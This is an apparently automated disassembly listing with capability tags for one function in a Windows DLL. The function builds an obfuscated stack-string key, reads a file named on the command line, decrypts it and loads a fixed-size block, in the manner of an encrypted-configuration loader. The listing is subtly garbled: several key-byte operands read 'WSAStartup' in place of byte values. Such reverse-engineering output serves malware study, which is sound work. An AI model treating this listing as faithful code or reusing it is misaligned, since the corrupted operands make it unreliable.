Function at 0x180046330
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x3d0
mov rax, qword [0x18009b018]
xor rax, rsp
mov qword [rsp + 0x3c0], rax
mov dword [rsp + 0x48], 1
mov byte [rsp + 0x280], 0x67
mov byte [rsp + 0x281], 0x32
mov byte [rsp + 0x282], 0x4f
mov byte [rsp + 0x283], 0x63
mov byte [rsp + 0x284], 0x36
mov byte [rsp + 0x285], WSAStartup
mov byte [rsp + 0x286], 0x57
mov byte [rsp + 0x287], 0x52
mov byte [rsp + 0x288], 0x55
mov byte [rsp + 0x289], 0x33
mov byte [rsp + 0x28a], WSAStartup
mov byte [rsp + 0x28b], 0x2e
mov byte [rsp + 0x28c], 0x42
mov byte [rsp + 0x28d], 0x30
mov byte [rsp + 0x28e], 0x50
mov byte [rsp + 0x28f], WSAStartup
mov byte [rsp + 0x290], 0
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x64], 0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.18005a6d0
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x3e0]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x68], rax
cmp dword [rsp + 0x60], 3
jle 0x180046436
mov eax, dword [rsp + 0x48]
jmp 0x180046705
lea rax, [rsp + 0x2b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x68]
mov r8, qword [rcx + rax]
lea rdx, [0x18007c944]
lea rcx, [rsp + 0x2b0]
call fcn.180008cd0
lea r8, [rsp + 0x2b0]
mov edx, 0x104
lea rcx, [0x18009d960]
call fcn.18005a5cc
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
mov edx, 0x80000000
lea rcx, [0x18009d960]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0xffffffffffffffff
jne 0x1800464d3
mov eax, dword [rsp + 0x48]
jmp 0x180046705
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0xffffffff
je 0x1800464f2
cmp dword [rsp + 0x58], 0x10
jae 0x18004651f
cmp qword [rsp + 0x40], 0
je 0x180046516
cmp qword [rsp + 0x40], 0xffffffffffffffff
je 0x180046516
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x40], 0
mov eax, dword [rsp + 0x48]
jmp 0x180046705
mov eax, dword [rsp + 0x58]
mov edx, eax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x64]
mov r8d, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1800465a5
cmp qword [rsp + 0x40], 0
je 0x180046580
cmp qword [rsp + 0x40], 0xffffffffffffffff
je 0x180046580
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x40], 0
cmp qword [rsp + 0x50], 0
je 0x180046593
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [rsp + 0x50], 0
mov eax, dword [rsp + 0x48]
jmp 0x180046705
mov r8d, 0x80
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x70]
call fcn.180001bb0
mov r8d, 0x10
xor edx, edx
lea rcx, [rsp + 0x298]
call fcn.18004b400
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x50]
lea rdx, [rsp + 0x298]
lea rcx, [rsp + 0x70]
call fcn.180005d30
mov dword [rsp + 0x5c], 0
mov r8d, 4
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x5c]
call fcn.18004af90
mov eax, dword [rsp + 0x5c]
cmp rax, 0xd80
je 0x180046668
cmp qword [rsp + 0x40], 0
je 0x180046643
cmp qword [rsp + 0x40], 0xffffffffffffffff
je 0x180046643
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x40], 0
cmp qword [rsp + 0x50], 0
je 0x180046656
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [rsp + 0x50], 0
mov eax, dword [rsp + 0x48]
jmp 0x180046705
mov rax, qword [rsp + 0x50]
add rax, 4
mov r8d, 0xd80
mov rdx, rax
lea rcx, [0x18009da90]
call fcn.18004af90
cmp dword [0x18009dbd8], 0
jne 0x18004669a
call fcn.18005a6a4
mov dword [0x18009dbd8], eax
lea r8, [0x18009d960]
mov edx, 0x104
lea rcx, [0x18009dad4]
call fcn.18005a5cc
mov byte [0x18009edac], 4
mov dword [rsp + 0x48], 0
cmp qword [rsp + 0x40], 0
je 0x1800466e5
cmp qword [rsp + 0x40], 0xffffffffffffffff
je 0x1800466e5
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x40], 0
cmp qword [rsp + 0x50], 0
je 0x1800466f8
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [rsp + 0x50], 0
mov eax, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x3c0]
xor rcx, rsp
call fcn.180047960
add rsp, 0x3d0
pop rdi
ret